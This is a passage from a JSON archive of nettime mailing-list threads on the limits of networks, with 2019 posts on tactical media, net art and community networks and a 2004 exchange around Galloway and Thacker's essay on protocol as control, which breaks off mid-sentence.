wrote:\n\n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n>\n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n\nRachel:\n\n> Can we still speak about ?tactical media? or ?the exploit?, and if not is\n> this because\n>\n> a) network activism has transformed so that these older descriptions no\n> longer accurately describe net art and ?hacktivist? practices, or\n>\n> b) these art practices have stayed much the same, but they are no longer\n> effective in the current political and economic context?\n\nI would not agree with David Garcia that these meta-discussions is a\nsign of the decline of nettime however, rather that the discussion of\nnetworked forms seems to be returning at the moment, maybe especially\nalso on a list like nettime, because it seems as if it disappeared from\nthe big \"digitalisation\" debates that are now anyway everywhere. (except\nfor the breaking up of THE social network) Meanwhile, users are\nreturning to smaller networked forms in the form of the fediverse or in\nother intimate constellations taking their cue from safe spaces and\nintersectional practices online, offline or rather in between. Maybe we\nneed new ways of modeling networks also beyond the canonical Baran\ndiagram of centralized, decentralized and distributed, along with\nnodocentric visualizations that have been so prevalent from the 1990's\nand basically up until today?\n\nbest,\n\nKristoffer\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:-- http://www.rachelodwyer.com/+353 (85) 7023779\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00011",
                                "date": "Wed, 3 Jul 2019 11:50:32 +0100",
                                "to": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                                "message-id": "CAJnPTJm06HzhGfMJbNMC3XshxutwM2fmfJmXnogW&#45;N0+mTNUAQ@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00011.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Rachel O' Dwyer",
                                "subject": "Re: <nettime> limits of networks..."
                            }
                        ],
                        "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                        "content": "Dear Kristoffer, et al,\n\nYes, you have hit on it for me...<Maybe weneed new ways of modeling networks also beyond the canonical Barandiagram of centralized, decentralized and distributed, along withnodocentric visualizations that have been so prevalent from the 1990'sand basically up until today?>Very important - as it is not the tools per se or the platform, but now, possibly new contexts in which even tactical media or \u201ccommunity-based\u201d networks occur, which utilize varied tools.\n\nI have been doing both artistic/curatorial research and community-based work with non-profits around these overlaps. With waterwheel.net, a team of 30 curators programmer online performance and events for a week with 120 artists from all over the world. This project, the brainchild of Suzanne Fuks and James Cunningham, utilized popular online tools such as Skype and Facebook and email - along with a custom designed media archive and online performance space. Suzanne kept this network in close connection for 3 years. We integrated our work remotely with the Balance/Unbalance festival at Arizona State. For me, this project about water and art was, in addition to the art, ingenious for a) it\u2019s utilization without apology of everyday social media b) it\u2019s capavity to connect in person and online via online performance space - for conferences/panels such that we all actually \u201csaw\u201d and \u201cmet\u201d and heard each other. I am still connected to many of the artists I worked with!\n\nLocal \u201ccampaigns\u201d, for instance, for safe walking streets - from senior citizen groups - use Twitter, FB, etc and more to \u201cnetwork\u201d \u2014while neither art nor sophisticated, these campaigns do represent living communities with \u201cinterest in common\u201d - condition of the old online communities AND, importantly, blur distinctions between virtual spaces and \u201creal\u201d spaces.\n\nThe latter point may seem crude, but it\u2019s possible that social networks such as these are an historical advancement on communities which put the network before the flesh meet, or never had a flesh meet and died OR never had the \u201creal\u201d profile pic at least to color and pepper the imagination.\n\nI\u2019m no fan of Facebook per se...but it\u2019s not FB alone, but a helpful feature of FB to have visuals...So talking theory...I throw this bone...with bandwidth depletion out of the way and compression technologies vastly superior, network practices have been able to better color-in their members...add more graphics...enrich and make robust vision of community. This may be an important development in network practice and one to assist radical practice...as well as a reason why we are occasionally depleted by text-only communication.\n\nI will post later a link to Haraway interview where she talks about making networks now\n\nMolly\n\nOn Mon, Jul 1, 2019 at 7:25 AM Kristoffer Gansing <kg@transmediale.de> wrote:Dear all,\n\nMaybe I can take the opportunity to plug in to the running discussions\nby shamelessly plugging the announcement of the next transmediale\nfestival which aims to deal exactly with the topics of networks, as it\nappeared here as a recurring common concern.\nhttps://2020.transmediale.de/festival-2020\n\nI think its quite interesting how the thread on nettime being in a bad\nshape and the one Rachel O' Dwyer started on net-art is converging\naround questions that have to do with how the limits of networks have\nbecome more tangible today, technically as well as in the form of\n\"network idealism\".\n\nMolly Hankwitz wrote:\n\n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n>\n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n\nRachel:\n\n> Can we still speak about ?tactical media? or ?the exploit?, and if not is\n> this because\n>\n> a) network activism has transformed so that these older descriptions no\n> longer accurately describe net art and ?hacktivist? practices, or\n>\n> b) these art practices have stayed much the same, but they are no longer\n> effective in the current political and economic context?\n\nI would not agree with David Garcia that these meta-discussions is a\nsign of the decline of nettime however, rather that the discussion of\nnetworked forms seems to be returning at the moment, maybe especially\nalso on a list like nettime, because it seems as if it disappeared from\nthe big \"digitalisation\" debates that are now anyway everywhere. (except\nfor the breaking up of THE social network) Meanwhile, users are\nreturning to smaller networked forms in the form of the fediverse or in\nother intimate constellations taking their cue from safe spaces and\nintersectional practices online, offline or rather in between. Maybe we\nneed new ways of modeling networks also beyond the canonical Baran\ndiagram of centralized, decentralized and distributed, along with\nnodocentric visualizations that have been so prevalent from the 1990's\nand basically up until today?\n\nbest,\n\nKristoffer\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00010",
                        "date": "Mon, 1 Jul 2019 11:10:27 -0700",
                        "to": "Kristoffer Gansing <kg@transmediale.de>",
                        "message-id": "CAH5TXpxPRVpcrEZhu2nS8JLOvq=eetsbK0SBawSar6rCFqUz8Q@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00010.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Molly Hankwitz",
                        "subject": "Re: <nettime> limits of networks..."
                    },
                    {
                        "from": "\"Rachel O' Dwyer\" <rachel.odwyer@gmail.com>",
                        "content": "Thank you Molly!I will post later a link to Haraway interview where she talks about making networks now\n\nPlease do!ROn Wed, Jul 3, 2019 at 11:14 AM Molly Hankwitz <mollyhankwitz@gmail.com> wrote:Dear Kristoffer, et al,\n\nYes, you have hit on it for me...<Maybe weneed new ways of modeling networks also beyond the canonical Barandiagram of centralized, decentralized and distributed, along withnodocentric visualizations that have been so prevalent from the 1990'sand basically up until today?>Very important - as it is not the tools per se or the platform, but now, possibly new contexts in which even tactical media or \u201ccommunity-based\u201d networks occur, which utilize varied tools.\n\nI have been doing both artistic/curatorial research and community-based work with non-profits around these overlaps. With waterwheel.net, a team of 30 curators programmer online performance and events for a week with 120 artists from all over the world. This project, the brainchild of Suzanne Fuks and James Cunningham, utilized popular online tools such as Skype and Facebook and email - along with a custom designed media archive and online performance space. Suzanne kept this network in close connection for 3 years. We integrated our work remotely with the Balance/Unbalance festival at Arizona State. For me, this project about water and art was, in addition to the art, ingenious for a) it\u2019s utilization without apology of everyday social media b) it\u2019s capavity to connect in person and online via online performance space - for conferences/panels such that we all actually \u201csaw\u201d and \u201cmet\u201d and heard each other. I am still connected to many of the artists I worked with!\n\nLocal \u201ccampaigns\u201d, for instance, for safe walking streets - from senior citizen groups - use Twitter, FB, etc and more to \u201cnetwork\u201d \u2014while neither art nor sophisticated, these campaigns do represent living communities with \u201cinterest in common\u201d - condition of the old online communities AND, importantly, blur distinctions between virtual spaces and \u201creal\u201d spaces.\n\nThe latter point may seem crude, but it\u2019s possible that social networks such as these are an historical advancement on communities which put the network before the flesh meet, or never had a flesh meet and died OR never had the \u201creal\u201d profile pic at least to color and pepper the imagination.\n\nI\u2019m no fan of Facebook per se...but it\u2019s not FB alone, but a helpful feature of FB to have visuals...So talking theory...I throw this bone...with bandwidth depletion out of the way and compression technologies vastly superior, network practices have been able to better color-in their members...add more graphics...enrich and make robust vision of community. This may be an important development in network practice and one to assist radical practice...as well as a reason why we are occasionally depleted by text-only communication.\n\nI will post later a link to Haraway interview where she talks about making networks now\n\nMolly\n\nOn Mon, Jul 1, 2019 at 7:25 AM Kristoffer Gansing <kg@transmediale.de> wrote:Dear all,\n\nMaybe I can take the opportunity to plug in to the running discussions\nby shamelessly plugging the announcement of the next transmediale\nfestival which aims to deal exactly with the topics of networks, as it\nappeared here as a recurring common concern.\nhttps://2020.transmediale.de/festival-2020\n\nI think its quite interesting how the thread on nettime being in a bad\nshape and the one Rachel O' Dwyer started on net-art is converging\naround questions that have to do with how the limits of networks have\nbecome more tangible today, technically as well as in the form of\n\"network idealism\".\n\nMolly Hankwitz wrote:\n\n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n>\n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n\nRachel:\n\n> Can we still speak about ?tactical media? or ?the exploit?, and if not is\n> this because\n>\n> a) network activism has transformed so that these older descriptions no\n> longer accurately describe net art and ?hacktivist? practices, or\n>\n> b) these art practices have stayed much the same, but they are no longer\n> effective in the current political and economic context?\n\nI would not agree with David Garcia that these meta-discussions is a\nsign of the decline of nettime however, rather that the discussion of\nnetworked forms seems to be returning at the moment, maybe especially\nalso on a list like nettime, because it seems as if it disappeared from\nthe big \"digitalisation\" debates that are now anyway everywhere. (except\nfor the breaking up of THE social network) Meanwhile, users are\nreturning to smaller networked forms in the form of the fediverse or in\nother intimate constellations taking their cue from safe spaces and\nintersectional practices online, offline or rather in between. Maybe we\nneed new ways of modeling networks also beyond the canonical Baran\ndiagram of centralized, decentralized and distributed, along with\nnodocentric visualizations that have been so prevalent from the 1990's\nand basically up until today?\n\nbest,\n\nKristoffer\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:-- http://www.rachelodwyer.com/+353 (85) 7023779\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00011",
                        "date": "Wed, 3 Jul 2019 11:50:32 +0100",
                        "to": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                        "message-id": "CAJnPTJm06HzhGfMJbNMC3XshxutwM2fmfJmXnogW&#45;N0+mTNUAQ@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00011.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Rachel O' Dwyer",
                        "subject": "Re: <nettime> limits of networks..."
                    }
                ],
                "message-id": "1c126357&#45;7d6f&#45;b8fb&#45;e43b&#45;ea0448dbf9c0@transmediale.",
                "date": "Mon, 1 Jul 2019 16:24:35 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00061",
                "content": "\nQuoting Alex Galloway and Eugene Thacker:\n\n> Protocol abounds in techno-culture. It is a totalizing control apparatus\n> that guides both the technical and political formation of computer\n> networks, biological systems and other media. \n\n[...]\n\nThe problem with the word \"protocol\" seems to me that computer science has\ngiven it a meaning quite different from common English. Other examples are\nthe words \"transparent\" (which is used in software design in practically\nopposite sense to common understanding, as a mapping of two or more\ndifferent symbolic systems into a simulated one, like the \"transparent\"\naccess of FTP servers directly in a desktop PC file manager), \"code\" (used\nnot in the common sense of \"codifying system\", but as \"codified symbols\"),\n\"interpretation\" (understood in the C.S. as the formal\nexecution/translation of an instruction at runtime, whereas in philosophy,\nliterary studies and music interpretation it means non-formal translation\nof [instructive or non-instructive] signs), and so on.\n\nWhat computer science and network engineering call \"protocol\" could just\nas well, or better perhaps, be named [a simple, formal] \"language\" because\nthey simply serve the purpose that two connected entities can talk to each\nother. Yet another word, which you use yourself, is \"standard\". It is a\nvirtue of the Internet that its standards are open and designed to be as\nagnostic to the information transported as possible; it seems to me that\npreserving this design (with DRM schemes, patents etc. on the horizon) is\nthe issue rather than, as you at the end of the paper, pushing the\nprotocols.\n\n\nOf course it is right to say that \"protocols\", \"standards\", \"languages\" or\nwhatever we call them are systems of control in the sense of what\ntheoreticians such as Lacan and Foucault have called \"symbolic order\" or\n\"discourse\"; if this applies to common human language, it no doubt applies\nto formal languages as well. But in praxis, it boils down to the question\nhow the standard is designed, i.e. how much freedom it allows and who\ncontrols it in which way, see Lawrence Lessig's analysis of the Internet\nvs. AOL.\n\nBut as with any play, consisting of a ruleset and its free execution,\ncontrol is never total to the extent that it wouldn't permit freedom, a\nparadox best seen in Oulipo writing with its self-imposed formal\nrestraints (like: writing a novel without a single occurence of the letter\n\"e\", as Perec's \"La Disparition\"). Freedom and control thus are not\nmutually exclusive, but mutually dependent on each other. To envision\ncommunication systems without control - i.e. languages without rules,\nnetworks without protocols - and find them desirable, would be utterly an\ninfantilist vision of a pre-language paradise. (And to read Freud, Lacan\nor Foucault in this way, would be no less naive.)\n\n> Put simply, protocols are all the conventional rules and standards\n> that govern relationships within networks.\n\nYes, but the reality is more complex because network protocols can be\nlayered onto each other and thus used in quite unpredictable ways.\n\nTo stick with the example of the Internet, it would be false to assume\nthat because http is a \"hypertext transportation protocol\", it would force\neverything under its \"totalizing control apparatus\" (to quote your paper)\ninto hypertext format. - The counter-examples are abundant and well-known,\nbut even topped by the fact that any imaginable network language can, with\nthe right software tools, be steganographically tunnelled through http,\njust as you can subvert the \"totalizing control system\" English by using\nit merely as a cryptographical container for a text written, for example,\nin the cosmic Zaum language of futurist poet Velemir Chlebnikov - apart\nfrom the fact that you can still use it to write novels like Joyce's\nUlysses, or in the case of http, web sites like www.jodi.org.\n\n \n> We need only remind ourselves of the military\n> backdrop of WWII mainframe computing and the Cold War context of ARPAnet,\n> to suggest that networks are not ahistorical entities.\n\nYet the history is more complex as popular media history reductionism\ntells it. The Arpanet/Internet was funded by the military, but designed by\nacademics - many of them with hippie backgrounds - who used the rhetoric\nof the \"nuclear-strike resistence\" to get the money for it.  Today, you\nprobably have to write something about \"e-commerce opportunities in a\nglobalized world\" or \"terrorist-proof network design\" if you run a C.S.\nlab and want a grant for your work. (Or, if you do humanities research on\nthe subject, don't miss to write the word \"interdisciplinary cultural\nresearch\" into your application letter, at least here in Germany.)\n\n> and so forth. What we end up with is a *metaphysics of networks*. The\n\nAgreed, for which to not a small extent Deleuze/Guattari and their popular\nperception must be blamed. An aspect of D/G where most clearly their\nindebtedness to vitalist philosophy [and hence right-wing philosophy]\nshines through. I wonder if that critique could be applied to the\nnow-fashionable term \"multitudes\" (which I plainly [mis?]read as a\nDeleuze-Guattarian update on the classical Marxist \"masses\") as well.\n\n \n> Biological or computational, the network is always configured by its\n> protocols. We stress this integrative approach because we cannot afford to\n> view \"information\" naively as solely immaterial. Negri notes that \"all\n> politics is biopolitics,\" and to this, we would add that all networks are\n> not only biopolitical but biotechnical networks. Protocological control in\n> networks is as much about networks as *living networks* as it is about the\n> materiality of informatics.\n\nI may not quite grasp this argument, but it seems to me that here you fall\ninto the trap of misreading the map for the territory, or the signifier\nfor the signified, by reading the sloppy engineering terminology of\n\"protocol\" too seriously.\n\n> Thus we are quite interested in a understanding of political change within\n> networks. What follows might be thought of as a series of challenges for\n> \"counterprotocological practice,\" designed for anyone wishing progressive\n> change inside of biotechnical networks.\n\nWhile you later disclaim neo-luddite tendencies, \"counterprotocological\npractice\" is a term which almosts screms for being misread as desire for\npre-linguistic status quo.\n\n> but to push technology into a hypertrophic state, further than it is meant\n> to go. We must scale up, not unplug. Then, during the passage of\n> technology into this injured, engorged, and unguarded condition, it will\n> be sculpted anew into something better, something in closer agreement with\n> the real wants and desires of its users.\n\nThis, in my view, reverberates a \"media archeology\" you might not have\nbeen aware of, that of language utopias since at least medieval kabbalism.\nBut, to stay in the previous metaphor, should a French person who read\nLacan and Foucault focus all her/his subversive energy on the Acad\u00e9mie\nfran\u00e7aise?\n\nI also note that your own push for a \"counterprotocological practice\"\nsolely happens on the level of the signified, not the signifier - or, in\nother words: the transported data, not the transport protocols.  Would you\nconsider the grammar of the English language, the Latin alphabet encoded\ninto ASCII whose bits then are distributed via the SMTP and POP3/imap\nprotocols over TCP/IP to Nettime subscribers issues as well?\n\n-F \n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00061.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "Re: <nettime> The Limits of Networking",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "follow-up": [
                    {
                        "from": "\"porculus\" <porculus {AT} wanadoo.fr>",
                        "content": "\n \n> Of course it is right to say that \"protocols\", \"standards\", \"languages\" or\n> whatever we call them are systems of control in the sense of what\n> theoreticians such as Lacan and Foucault\n\ni would say to so metadigitaly paint in my mind cruising together these 2\nbikers by the road of all human brain as lacan & foucault are is more\nbeautiful than a duchampian's urinal\n\n> I also note that your own push for a \"counterprotocological practice\"\n\ni collapse, i am so sensible that too much beauty cause double bind in my\ncurrent vital protocol, only one beer or two could call me back for sharing\nagain any ordinary earthling life\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00066",
                        "date": "Tue, 16 Mar 2004 09:18:55 +0100",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200403161012.i2GACeN19573 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00066.html",
                        "content-type": "text/plai",
                        "author_name": "porculus",
                        "subject": "Re: <nettime> The Limits of Networking"
                    },
                    {
                        "from": "Sawad <sawad {AT} utensil.net>",
                        "content": "\n>  \"protocol,\" a word derived from computer science\n\nComputer science reaches far back indeed, to ancient Greece.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00067",
                        "date": "Mon, 15 Mar 2004 10:37:20 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200403161736.i2GHaLm22035 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00067.html",
                        "content-type": "text/plai",
                        "author_name": "Sawad",
                        "subject": "Re: <nettime> The Limits of Networking"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "Alexander Galloway <galloway {AT} nyu.edu>",
                        "id": "00090",
                        "content": "\n\t[This was originally posted to nettime-l on March 15, 2004, and is\n\tbeing resent due to a glitch in the web archive.]\n\nTHE LIMITS OF NETWORKING\nA reply to Lovink and Schneider's \"Notes on the State of Networking\"\n\nby Alexander Galloway and Eugene Thacker\n\n\nThe question we aim to explore here is: what is the principle of\npolitical organization or control that stitches a network together?\nWriters like Michael Hardt and Antonio Negri have helped answer this\nquestion in the socio-political sphere using the concept of \"Empire.\"\nLike a network, Empire is not reducible to any single state power, nor\ndoes it follow an architecture of pyramidal hierarchy. Empire is fluid,\nflexible, dynamic, and far-reaching. In that sense, the concept of\nEmpire helps us greatly to begin thinking about political organization\nin networks. But like Lovink and Schneider, we are concerned that no one\nhas yet adequately answered this question for the technological sphere\nof bits and atoms.\n\nTo this end, the principle of political control we suggest is most\nhelpful for thinking about technological networks is \"protocol,\" a word\nderived from computer science but which resonates in the life sciences\nas well. Protocol abounds in techno-culture. It is a totalizing control\napparatus that guides both the technical and political formation of\ncomputer networks, biological systems and other media. Put simply,\nprotocols are all the conventional rules and standards that govern\nrelationships within networks. Quite often these relationships come in\nthe form of communication between two or more computers, but\n\"relationships within networks\" can also refer to purely biological\nprocesses as in the systemic phenomenon of gene expression. Thus by\n\"networks\" we want to refer to any system of interrelationality, whether\nbiological or informatic, organic or inorganic, technical or\nnatural--with the ultimate goal of undoing the polar restrictiveness of\nthese pairings.\n\nIn computer networks, science professionals have, over the years,\ndrafted hundreds of protocols to govern email, web pages, and so on,\nplus many other standards for technologies rarely seen by human eyes.\nThe first protocols for computer networks were written in 1969 by Steve\nCrocker and others. If networks are the structures that connect people,\nthen protocols are the rules that make sure the connections actually\nwork.\n\nLikewise, molecular biotechnology research frequently makes use of\nprotocol to configure biological life as a network phenomenon, be it in\ngene expression networks, metabolic networks, or the circuitry of cell\nsignaling pathways. In such instances, the biological and the informatic\nbecome increasingly enmeshed in hybrid systems that are more than\nbiological: proprietary genome databases, DNA chips for medical\ndiagnostics, and real-time detection systems for biowarfare agents.\nProtocol is twofold; it is both an apparatus that facilitates networks\nand also a logic that governs how things are done within that apparatus.\n\n From the large technological discourse of white papers, memos, and\nmanuals, we can derive some of the basic qualities of the apparatus of\norganization which we here call protocol:\n\n+ protocol facilitates relationships between interconnected, but\nautonomous, entities;\n\n+ protocol's virtues include robustness, contingency, interoperability,\nflexibility, and heterogeneity;\n\n+ a goal of protocol is to accommodate everything, no matter what source\nor destination, no matter what originary definition or identity;\n\n+ while protocol is universal, it is always achieved through negotiation\n(meaning that in the future protocol can and will be different).\n\n+ protocol is a system for maintaining organization and control in\nnetworks;\n\nWe agree wholeheartedly with Lovink and Schneider's observation that\n\"networks are the emerging form of organization of our time.\" And we\nagree that, due to this emerging form of organization, \"networking has\nlost its mysterious and subversive character.\"\n\nYet they also note that, despite being the site of control and\norganization, networks are also the very medium of freedom, if only a\nprovisional or piecemeal liberation. They write that networking is able\n\"to free the user from the bonds of locality and identity.\" And later\nthey describe networking as \"a syncope of power.\"\n\nIn this sense, Lovink and Schneider posit power as the opposite of\nnetworking, as the force that restricts networking and thus restricts\nindividual freedom:\n\n\t\"Power responds to the pressure of increasing mobility and\n\tcommunications of the multitudes with attempts to regulate them in\n\tthe framework of traditional regimes that cannot be abandoned, but\n\tneed to be reconfigured from scratch and recompiled against the\n\tnetworking paradigm: borders and property, labour and recreation,\n\teducation and entertainment industries undergo radical\n\ttransformations.\"\n\nOur point of departure is this: Lovink and Schneider's \"Info-Empire\"\nshould not be defined in terms of either corporate or state power, what\nthey call \"the corruption of state sovereignty.\" Instead it must be\ndefined at the level of the medium itself. (Otherwise we are no longer\ntalking about Info-Empire but about the more familiar topics of\ncorporate greed, fascism, or what have you.) Informatic control is\nsomething different and thus it must be defined differently. It must be\ndefined via the actual technologies of control that are contained within\nnetworks, not the content carried by those networks, or the\nintentionality of the people using them. This position resonates with\nthe \"media archaeology\" approach mentioned in Lovink's recent nettime\ninterview with Wolfgang Ernst. This is why we propose the basic\nprinciples of protocol above.\n\nNetworks are often seen to be advantageous in political struggles, for\nthere is presumed to be something about the structure of networks that\nenables forms of resistance to take place against more centralized power\nstructures. The characteristics of multiple sites of locality,\nmany-to-many communications channels, and a self-organizing capacity\n(local actions, global results) are some of the aspects that are cited\nas part of the network structure. Indeed, analysis of computer virus\nattacks, distributed political protests, and other forms of what John\nArquilla and David Ronfeldt call \"netwar\" all mention these aspects of\nnetworks.\n\nBut we find it curious that networks in this characterization are rarely\ncontextualized--or rendered historical, archaeological. On the one hand,\nthe centralized structure of \"Empire\" is assumed to emerge out of a long\nhistory of economically-driven imperialism and colonialism. On the other\nhand, the various \"networks\" which resist Empire seem to suddenly appear\nout of nowhere, despite the fact that the technologies which constitute\nthese networks are themselves rooted in governmental, military, and\ncommercial developments. We need only remind ourselves of the military\nbackdrop of WWII mainframe computing and the Cold War context of\nARPAnet, to suggest that networks are not ahistorical entities.\n\nThus, in many current political discussions, networks are seen as the\nnew paradigm of social and political organization. The reason is that\nnetworks exhibit a set of properties that distinguishes them from more\ncentralized power structures. These properties are often taken to be\nmerely abstract, formal aspects of the network--which is itself\ncharacterized as a kind of meta-structure. We see this in \"pop science\"\nbooks discussing complexity and network science, as well as in the\npolitical discourse of \"netwars\" and so forth. What we end up with is a\n*metaphysics of networks*. The network, then, appears as a universal\nsignifier of political resistance, be it in Chiapas, Seattle, Geneva, or\nonline. What we question is not the network concept itself, for, as a\nnumber of network examples show, they can indeed be effective modes of\npolitical struggle. What we do question is the undue and exclusive\nreliance on the metaphysics of the network, as if this ahistorical\nconcept legitimizes itself merely by existing.\n\nAn engaged, political understanding of networks will not only pay\nattention to networks generally, but to networks specifically. If there\nare no networks in general, then there are also no general networks.\n(Marx: \"If there is no production in general, then there is no general\nproduction.\") Networks can be engaged with at the general level, but\nthey always need to be qualified--and we mean this in technical as well\nas socio-political terms. The discourse surrounding \"Empire\" has been\nvery good at contextualizing globalization; it has not done so well at\ncontextualizing \"the movement,\" \"the multitude,\" or \"networks\" (which\nare arguably, three different concepts).\n\nBiological or computational, the network is always configured by its\nprotocols. We stress this integrative approach because we cannot afford\nto view \"information\" naively as solely immaterial. Negri notes that\n\"all politics is biopolitics,\" and to this, we would add that all\nnetworks are not only biopolitical but biotechnical networks.\nProtocological control in networks is as much about networks as *living\nnetworks* as it is about the materiality of informatics.\n\nThus we are quite interested in a understanding of political change\nwithin networks. What follows might be thought of as a series of\nchallenges for \"counterprotocological practice,\" designed for anyone\nwishing progressive change inside of biotechnical networks.\n\nFirst, oppositional practices will have to focus not on a static map of\none-to-one relationships, but a dynamic diagram of many-to-many\nrelationships. This is a nearly insurmountable task. These practices\nwill have to attend to many-to-many relationships without making the\ndangerous mistake of thinking that many-to-many means total or\nuniversal. There will be no universals for life. This means that the\ncounterprotocols of current networks will be pliant and vigorous where\nexisting protocols are flexible and robust. They will attend to the\ntensions and contradictions within such systems, such as the\ncontradiction between rigid control implicit in network protocols and\nthe liberal ideologies that underpin them. Counterprotocological\npractice will not avoid downtime. It will restart often.\n\nThe second point is about tactics. In reality, counterprotocological\npractice is not \"counter\" anything! Saying that politics is an act of\n\"resistance\" was never true, except for the most literal interpretation\nof conservatism. We must search-and-replace all occurrences of\n\"resistance\" with \"impulsion\" or perhaps \"thrust.\" Thus the concept of\nresistance in politics should be superceded by the concept of\nhypertrophy. Resistance is a Clausewitzian mentality; the strategy of\nmaneuvers teaches us instead that the best way to beat an enemy is to\nbecome a better enemy. One must push through to the other side, rather\nthan drag one's heels. There are two directions for political change:\nresistance implies a desire for stasis or retrograde motion, but\nhypertrophy is the desire for pushing beyond. The goal is not to destroy\ntechnology in some neoluddite delusion, but to push technology into a\nhypertrophic state, further than it is meant to go. We must scale up,\nnot unplug. Then, during the passage of technology into this injured,\nengorged, and unguarded 